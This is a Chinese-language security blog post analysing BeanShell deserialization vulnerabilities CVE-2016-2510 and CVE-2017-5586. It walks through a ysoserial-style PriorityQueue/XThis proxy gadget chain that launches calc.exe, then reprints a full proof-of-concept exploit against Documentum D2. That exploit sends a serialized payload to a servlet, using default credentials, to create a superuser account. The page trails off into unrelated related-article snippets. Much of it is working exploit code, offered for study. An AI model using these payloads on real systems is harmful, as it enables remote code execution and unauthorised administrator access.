CVE-2016-2510CVE-2017-5586 BeanShell漏洞

前言:

首先我们需要了解BeanShell具体是做什么:

BeanShell 是一种轻量级的可嵌入式脚本语言,用于在 Java 环境中执行脚本代码。它提供了一种简单、灵活的方式来扩展和定制 Java 应用程序的行为,允许开发人员动态地执行和评估脚本代码。

 BeanShell 的一些主要功能和用途如下:

脚本执行:BeanShell 允许在 Java 程序中执行脚本代码,而无需预先编译为字节码。它提供了与 Java 类似的语法和语义,可以直接在脚本中使用 Java 类、方法和变量。开发人员可以使用 BeanShell 编写脚本来执行各种任务,如数据处理、算法实现、动态配置等。

动态扩展:BeanShell 具有动态扩展应用程序功能的能力。通过在应用程序中嵌入 BeanShell,开发人员可以允许用户在运行时提供脚本代码来扩展应用程序的行为。这样可以实现动态配置、动态加载类、动态生成代码等功能,提高应用程序的灵活性和可定制性。

软件测试:BeanShell 也可以用作软件测试的工具。开发人员可以编写 BeanShell 脚本来模拟测试场景和数据,执行自动化测试,验证应用程序的行为和正确性。由于 BeanShell 可以直接访问 Java 类库,因此可以方便地与现有的测试框架和工具集成。

学习和教育:由于 BeanShell 的简洁语法和与 Java 的紧密集成,它常被用于学习和教育领域。开发人员可以使用 BeanShell 来教授编程基础知识、演示算法实现、快速原型开发等。同时,学生们也可以使用 BeanShell 来实践和测试他们的代码。

简单使用:

下面我们使用2.0.b4版本的BeanShell先编写点简单代码方便理解,pom添加:

<dependency>
    <groupId>org.beanshell</groupId>
    <artifactId>bsh-core</artifactId>
    <version>2.0b4</version>
</dependency>

首先我们尝试使用BeanShell调用eval动态执行代码打开计算器:

public static void  runcommand() throws EvalError {
    // BeanShell payload
    String payload = "new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start()";
    //创建一个解析器
    Interpreter interpre = new Interpreter();
    //执行代码
    interpre.eval(payload);
}

执行上述代码可以看到成功打开计算器, 然后大概看下调用的堆栈:

可以看到当我们调用interpre.eval的时候首先会对payload的内容修改成为一个简单的节点,如果内容错误无法初始化为节点树则报错,判断完成后会判断payload内容是一个函数还是一条执行代码,这里为执行代码,这样就会通过调用doSuffix和doName两个方法获取代码中对应调用的类和对应方法,最后通过invokeObjectMethod和invokeMethod通过反射执行代码。

下面我们看通过函数是如何调用的:

    public static void  runfunction() throws EvalError {
        String payload = "compare() {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();}";
        try {
            // 创建一个解析器
            Interpreter interpreter = new Interpreter();
            // 执行代码
            interpreter.eval(payload);
            // 调用 compare 方法
            Object result = interpreter.eval("compare()");
            System.out.println("Result: " + result);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

上述代码主要创建了compare方法然后通过eval调用payload中的compare方法进而弹出计算器,执行可以弹出计算器,同样来看下调用堆栈:

具体的执行方法其实也很简单,首先在执行 interpreter.eval(payload);的时候会判断payload内容,当内容是一个函数的时候,会将其放入NameSpace globalNameSpace;中,然后后面当我们再次通过interpreter.eval("compare()");调用compare方法的时候,首先会去globalNameSpace中去搜索方法名是否在列表中,如果列表中存在则和上面的差不多,通过调用doSuffix和doName两个方法获取代码中对应调用的类和对应方法,最后通过invokeObjectMethod和invokeMethod通过反射执行代码。

这里我们知道我们可以通过BeanShell直接执行java代码,或者执行函数,这样就存在了问题,当我们把我们要执行的恶意代码放入globalNameSpace中,然后想办法找到一个公共接口进行调用就可以执行对应的恶意方法

反序列化CVE-2016-2510:

下面通过根据ysoserial的BeanShell1改编如下代码:

    public static PriorityQueue getObject() throws Throwable {
        // BeanShell payload
        String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return new Integer(1);}";

        // Create Interpreter
        Interpreter i = new Interpreter();

        // Evaluate payload
        i.eval(payload);

        // Create InvocationHandler
        XThis xt = new XThis(i.getNameSpace(), i);

        Class xtclass = xt.getClass();
        Field field = xtclass.getDeclaredField("invocationHandler");
        field.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) field.get(xt);

        // Create Comparator Proxy
        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

        // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        Object[] queue = new Object[] {1,1};
        Field field1 = priorityQueue.getClass().getDeclaredField("queue");
        field1.setAccessible(true);
        field1.set(priorityQueue, queue);

        Field field2 = priorityQueue.getClass().getDeclaredField("size");
        field2.setAccessible(true);
        field2.set(priorityQueue, 2);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);


        ByteArrayInputStream btin = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream objIn = new ObjectInputStream(btin);
        objIn.readObject();


        return priorityQueue;
    }

下面对内容进行分析,首先我们编写payload,这里payload一定要用compare,至于为什么后面进行解释,通过调用Interpreter.eval我们可以将payload中的compare方法放入globalNameSpace中,如下图:

然后将Interpreter内容赋值给XThis,为什么这里需要使用XThis,主要是因为在XThis中使用了InvocationHandler invocationHandler = new Handler();这里我们需要知道InvocationHandler具体作用:

InvocationHandler 是 Java 中的一个接口,它定义了一个方法 invoke(),被用于处理动态代理对象方法的调用。当使用动态代理创建一个代理对象时,你可以指定一个 InvocationHandler 对象,用于处理代理对象上的方法调用。

通过将 Handler 对象分配给 InvocationHandler 类型的变量 invocationHandler,你为代理对象指定了一个处理器。这意味着当你通过代理对象调用方法时,实际的方法调用会被转发给这个 Handler 对象的 invoke() 方法进行处理。

具体地说,Handler 对象的 invoke() 方法将被调用,并传递以下参数:

proxy:代理对象,即通过动态代理生成的对象。
method:正在调用的方法对象。
args:传递给方法的参数。
在 invoke() 方法中,你可以根据需要编写自定义的逻辑来处理代理对象上的方法调用,例如记录日志、执行特定的操作或转发调用给实际的对象等。

由于invocationHandler中内容为上面的XThis,如下图,所以当我们调用invoke方法的时候即调用XThis.invoke:

 查看XThis.invoke方法可以看到内部调用了XThis.invokeImpl:

在XThis.invokeImpl中我们通过参数和代码分析可以发下:

首先通过参数Method var2获取调用的方法,这里我们可以发现根据param_2可以获取到var4为compare,就是我们payload的方法,然后var8先不用管,这里只需要知道在获取类型,然后调用XThis.invokeMethod方法:

看下XThis.invokeMethod方法内容,这里可以看到参数为我们payload中的compare和一个数组,往后就很好理解了,具体内容就是我们payload中的内容compare(Object foo, Object bar),第一个参数为我们payload的方法名,后面的数组为compare中的参数,后面就是通过反射调用我们payload中的内容,就不往后跟了:

所以根据上面的分析就可以知道,我们只要能调用到XThis.invoke,并且invocationHandler为我们的添加的NameSpace内容即可,如何才能调用到XThis的invoke方法,那就要使用Proxy.newProxyInstance来添加一个动态代理,首先看看我们的攻击代码:

Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

这里有些人可能要疑惑了,为什么动态代理要创建为Comparator类型,这里就是一个很关键的地方,首先我们看下Comparator内容,可以看到Comparator接口中有一个方法为compare(T o1, T o2),和我们payload中的compare相同,参数也相同,也就是说我们payload中的内容就是Comparator中compare方法的具体实现,

下我们就要想如何才能触发 XThis.invoke并且最终调用到compare,这里我们使用PriorityQueue,调用如下代码:

new PriorityQueue<Object>(2, comparator);

看下源码可以发现我们可以将我们精心构造的comparator赋值给PriorityQueue中的comparator:

然后添加两个数组内容到 PriorityQueue中即可,然后将PriorityQueue序列化,当反序列化的过程中即会弹出计算器,后面的过程都了解了,这里主要说下反序列化中如何进入comparator方法:

首先我们会进入到PriorityQueue的readObject方法,在内容主要调用链点在siftDownUsingComparator方法中,可以看到调用了comparator.compare,这里的comparator就是我们上面new的过程中构造的动态代理comparator:

最后看下堆栈:

 

大概总结下流程,首先我们需要编写一个payload,内容为实现Comparator的compare接口,第一步需要通过调用Interpreter.eval将payload添加到globalNameSpace中,即一个方法数组中,第二步创建XThis并通过反射获取其中的invocationHandler,第三步创建Comparator的动态代理并将创建的动态类放入PriorityQueue中,并添加两个参数,在反序列化的过程中首先进入readObject方法并通过siftDownUsingComparator来调用我们设置的动态类Comparator,然后会进入到动态类的invoke方法,即XThis的invoke方法,invoke方法中有Comparator类,compare方法名和前面添加的参数,后面的就很简单了,会在NameSpace中判断由于前面设置了compare,当调用的时候就会加载我们添加的compare方法,进而执行了任意命令,弹出了计算器。

CVE-2017-5586:

CVE-2017-5586本质上还是利用了BeanShell的漏洞,只是说其是通过BeanShell执行命令在数据库中添加数据,具体的payload如下:

/**
CVE Identifier: CVE-2017-5586
Vendor: OpenText
Affected products: Documentum D2 version 4.x
Researcher: Andrey B. Panfilov
Severity Rating: CVSS v3 Base Score: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Description: Document D2 contains vulnerable BeanShell (bsh) and Apache Commons libraries and accepts serialised data from untrusted sources, which leads to remote code execution

Proof of concept:

===================================8<===========================================
*/

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.PriorityQueue;

import bsh.Interpreter;
import bsh.XThis;

import com.documentum.fc.client.content.impl.ContentStoreResult;
import com.documentum.fc.client.impl.typeddata.TypedData;

/**
* @author Andrey B. Panfilov <andrey (at) panfilov (dot) tel [email concealed]>
*
* Code below creates superuser account in underlying Documentum repository
* usage: java DocumentumD2BeanShellPoc http://host:port/D2 <docbase_name> <user_name_to_create>
*
*/
@SuppressWarnings("unchecked")
public class DocumentumD2BeanShellPoc {

public static void main(String[] args) throws Exception {
String url = args[0];
String docbase = args[1];
String userName = args[2];
String payload = "compare(Object foo, Object bar) {new Interpreter()"
+ ".eval(\"try{com.documentum.fc.client.IDfSession session = com.documentum.fc.impl.RuntimeContext.getInstance()"
+ ".getSessionRegistry().getAllSessions().iterator().next();"
+ "session=com.emc.d2.api.D2Session.getAdminSession(session, false);"
+ "com.documentum.fc.client.IDfQuery query = new com.documentum.fc.client.DfQuery("
+ "\\\"CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', "
+ "set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);} "
+ "catch (Exception e) {}; return 0;\");}";
Interpreter interpreter = new Interpreter();
interpreter.eval(String.format(payload, userName, userName, userName));
XThis x = new XThis(interpreter.getNameSpace(), interpreter);
Comparator comparator = (Comparator) x.getInterface(new Class[] { Comparator.class, });
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] { 1, 1 };
setFieldValue(priorityQueue, "queue", queue);
setFieldValue(priorityQueue, "size", 2);

// actually we may send priorityQueue directly, but I want to hide
// deserialization stuff from stacktrace :)
Class cls = Class.forName("com.documentum.fc.client.impl.typeddata.ValueHolder");
Constructor ctor = cls.getConstructor();
ctor.setAccessible(true);

Object valueHolder = ctor.newInstance();
setFieldValue(valueHolder, "m_value", priorityQueue);
List valueHolders = new ArrayList();
valueHolders.add(valueHolder);

TypedData data = new TypedData();
setFieldValue(data, "m_valueHolders", valueHolders);

ContentStoreResult result = new ContentStoreResult();
setFieldValue(result, "m_attrs", data);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
for (Character c : "SAVED".toCharArray()) {
dos.write(c);
}
dos.write((byte) 124);
dos.flush();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(result);
oos.flush();
byte[] bytes = baos.toByteArray();
baos = new ByteArrayOutputStream();
dos = new DataOutputStream(baos);
dos.writeInt(bytes.length);
dos.write(bytes);
dos.flush();
HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
conn.setRequestProperty("Content-Type", "application/octet-stream");
conn.setRequestMethod("POST");
conn.setUseCaches(false);
conn.setDoOutput(true);
conn.getOutputStream().write(baos.toByteArray());
conn.connect();
System.out.println("Response code: " + conn.getResponseCode());
InputStream stream = conn.getInputStream();
byte[] buff = new byte[1024];
int count = 0;
while ((count = stream.read(buff)) != -1) {
System.out.write(buff, 0, count);
}
}

public static String makeUrl(String url) {
if (!url.endsWith("/")) {
url += "/";
}
return url + "servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd
&file_length=1000"
+ "&_username=dmc_wdk_preferences_owner&_password=webtop";
}

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

}

/**
===================================>8===========================================

Disclosure timeline:

2016.02.28: Vulnerability discovered
2017.01.25: CVE Identifier assigned
2017.02.01: Vendor contacted, no response
2017.02.15: Public disclosure
*/

分析下可以发现其主要执行了如下数据库语言:

CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);} 

具体的漏洞点为com.documentum.fc.client.impl.typeddata.ValueHolder方法的m_value参数,感兴趣的可以分析下,原理和上面差别不大,只是调用链添加了一层

具体的漏洞地址为如下地址:

"servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd&file_length=1000&_username=dmc_wdk_preferences_owner&_password=webtop"

感兴趣的可以去分析下,也很简单,这里就不分析了。

总结:

分析下发现反序列化的调用链还是很巧妙的,通过动态代理和接口一步一步到我们的最终代码,只能说写这个调用链的技术确实厉害,好的poc和艺术品一样,值得好好研究学习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/217542.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

CSS实现瀑布流

多列布局介绍 多列布局 指的是 CSS3 可以将文本内容设计成像报纸一样的多列布局&#xff0c;例&#xff1a; CSS3 的多列布局属性: column-count&#xff1a;指定了需要分割的列数&#xff1b;column-gap&#xff1a;指定了列与列间的间隙&#xff1b;column-rule-style&#…

Mybatis如何执行批量操作

文章目录 Mybatis如何执行批量操作使用foreach标签 使用ExecutorType.BATCH如何获取生成的主键 Mybatis如何执行批量操作 使用foreach标签 foreach的主要用在构建in条件中&#xff0c;它可以在SQL语句中进行迭代一个集合。foreach标签的属性主要有item&#xff0c;index&…

MySQL系统函数

select version();查看mysql版本。 select user();可以查看数据库用户名。 select database();可以查看数据库名。 select system_use();可以查看系统用户名。 show variables like %basedir%;可以展示数据库读取路径。 show variables like %sets_dir%;可以看一下安…

★136. 只出现一次的数字(位运算)

136. 只出现一次的数字 这个题主要考察的知识点是位运算&#xff08;这里是异或&#xff09; 如果不要求空间复杂度为O&#xff08;1&#xff09;&#xff0c;那有很多方法。但是这里有这样的要求。 可以通过位运算 的方法来实现。 异或运算 ⊕有以下三个性质&#xff1a; 任…

文字转语音、语音转文字! AI视频生成神器!

分享一波文字转语音、语音转文字&#xff01;AI视频生成神器&#xff01;让外国人说中文&#xff0c;口型自然&#xff0c;不限语言&#xff0c;感兴趣的同学可以试试~ 可以用Al生成视频&#xff0c;Whisper语音转文字 Whisper 开源项目&#xff1a; https://github.com/Const…

【源码解析】聊聊线程池 实现原理与源码深度解析(二)

AbstractExecutorService 上一篇文章中&#xff0c;主要介绍了AbstractExecutorService的线程执行的核心流程&#xff0c;execute() 这个方法显然是没有返回执行任务的结果&#xff0c;如果我们需要获取任务执行的结果&#xff0c;怎么办&#xff1f; Callable 就是一个可以获…

(C语言)通过循环按行顺序为一个矩阵赋予1,3,5,7,9,等奇数,然后输出矩阵左下角的值。

#include<stdio.h> int main() {int a[5][5];int n 1;for(int i 0;i < 5;i ){for(int j 0;j < 5;j ){a[i][j] n;n 2;}}for(int i 0;i < 5;i ){for(int j 0;j < i;j )printf("%-5d",a[i][j]);printf("\n");}return 0; } 运行截图…

电子学会C/C++编程等级考试2022年06月(四级)真题解析

C/C++等级考试(1~8级)全部真题・点这里 第1题:公共子序列 我们称序列Z = < z1, z2, ..., zk >是序列X = < x1, x2, ..., xm >的子序列当且仅当存在 严格上升 的序列< i1, i2, ..., ik >,使得对j = 1, 2, ... ,k, 有xij = zj。比如Z = < a, b, f, c &…

【信息安全】MD5哈希函数

1. MD5介绍 MD5&#xff08;Message Digest Algorithm 5&#xff09;是一种常见的哈希函数&#xff0c;通常用于产生数据的数字摘要&#xff0c;也称为哈希值或摘要值。它是由Ron Rivest在1991年设计的&#xff0c;广泛用于数据完整性验证、密码存储、数字签名等领域。 MD5哈…

游戏被流量攻击会有什么样的影响,该用什么样的防护方式去处理

德迅云安全-领先云安全服务与解决方案提供商德迅云游戏盾专门针对游戏进行防护&#xff0c;可免费提供防护方案~ 如果游戏被流量攻击会产生以下影响&#xff1a; 服务器过载&#xff1a;流量攻击会导致游戏服务器接收到的请求数量急剧增加&#xff0c;超出服务器的处理能力。这…

新媒体营销教学模拟实训平台解决方案

一、背景与目标 随着新媒体的快速发展&#xff0c;营销人才需求旺盛&#xff0c;而具备新媒体营销能力的人才供给却相对不足。为了解决这一矛盾&#xff0c;本方案旨在构建一个新媒体营销教学模拟实训平台&#xff0c;帮助学生掌握新媒体营销的实际操作技能&#xff0c;提高就…

xcode swiftui项目添加依赖

打开项目targets——Build Phases 点击“” 属于Apple SDKs的依赖可以直接添加 其他依赖需要在 Add Other中添加&#xff0c;在右上角用名字搜索或者URL地址(如GitHub上插件的地址)搜索,然后添加&#xff0c;也可添加本地文件

Linux Camera Driver(2):CIS设备注册(DTS)

一:MIPI接口 1、硬件接口 MIPI接口以rv1109和gc2053的硬件为例进行说明: 2、ISP驱动 注意配置事项: endpoint配置,必须指定data-lanes,否则无法识别为mipi类型 链接方式:sensor->csi_dphy->isp->ispp (1)sensor节点配置 根据原理图可知:mipicsi_clk0即引…

推荐一本Python数据分析的书:《Python数据科学应用从入门到精通》(张甜 杨维忠 著 2023年11月新书 清华大学出版社)

1.Python是堪与Office办公软件比肩的职场人士必备技能 Python作为一门简单、易学、易读、易维护、用途广泛、速度快、免费、开源的主流编程语言&#xff0c;广泛应用于Web开发、大数据处理、人工智能、云计算、爬虫、游戏开发、自动化运维开发等各个领域&#xff0c;是众多高等…

抖音视频水印怎么去除?这三个视频去水印技巧值得收藏!

抖音视频水印怎么去除&#xff1f;随着互联网的持续发展&#xff0c;越来越多的人选择使用视频分享平台来展示他们的生活与工作。然而&#xff0c;上传到这些平台上的许多视频常常遭到恶意水印的攻击&#xff0c;严重影响了观众的观看体验。今天&#xff0c;我们将分享三个视频…

网盘系统设计:万亿 GB 网盘如何实现秒传与限速?

Java全能学习面试指南&#xff1a;https://javaxiaobear.cn 网盘&#xff0c;又称云盘&#xff0c;是提供文件托管和文件上传、下载服务的网站&#xff08;File hostingservice&#xff09;。人们通过网盘保管自己拍摄的照片、视频&#xff0c;通过网盘和他人共享文件&#xff…

跨域问题与解决-gatway

3.6.1.什么是跨域问题 跨域&#xff1a;域名不一致就是跨域&#xff0c;主要包括&#xff1a; 域名不同&#xff1a; www.taobao.com 和 www.taobao.org 和 www.jd.com 和 miaosha.jd.com域名相同&#xff0c;端口不同&#xff1a;localhost:8080和localhost8081 跨域问题&a…

回溯法及例题(C++实现)

回溯法概念 概念&#xff1a;在包含问题所有解的解空间树中&#xff0c;按照深度优先搜索的策略&#xff0c;根据根结点&#xff08;开始节点&#xff09;出发搜索解空间树。 流程&#xff1a;首先根结点成为活节点&#xff0c;同时也成为当前的扩展结点。在当前的扩展结点处…

智能优化算法(二):禁忌搜索算法

文章目录 禁忌搜索算法1.禁忌搜索算法预备知识1.1 预备知识1---解空间1.2.预备知识2---邻域 2.禁忌搜索算法实现过程2.1.禁忌搜索算法思想2.2.禁忌搜索构成要素2.2.1.搜索结果表达2.2.2.邻域移动策略2.2.3.禁忌表引入2.2.4.禁忌搜索选择策略2.2.5.禁忌搜索渴望水平2.2.6.禁忌搜…

[Mac软件]HitPaw Video Converter 功能强大的视频格式转换编辑软件激活版

软件介绍&#xff1a; 以令人难以置信的速度将无损视频和音乐转换为1000多种格式&#xff1a;MP4、MOV、AVI、VOB、MKV等。不仅适用于普通编解码器&#xff0c;也适用于高级VP9、ProRes和Opus编码器。这解决了您不支持格式的所有问题&#xff0c;并允许您在任何平台和设备上播…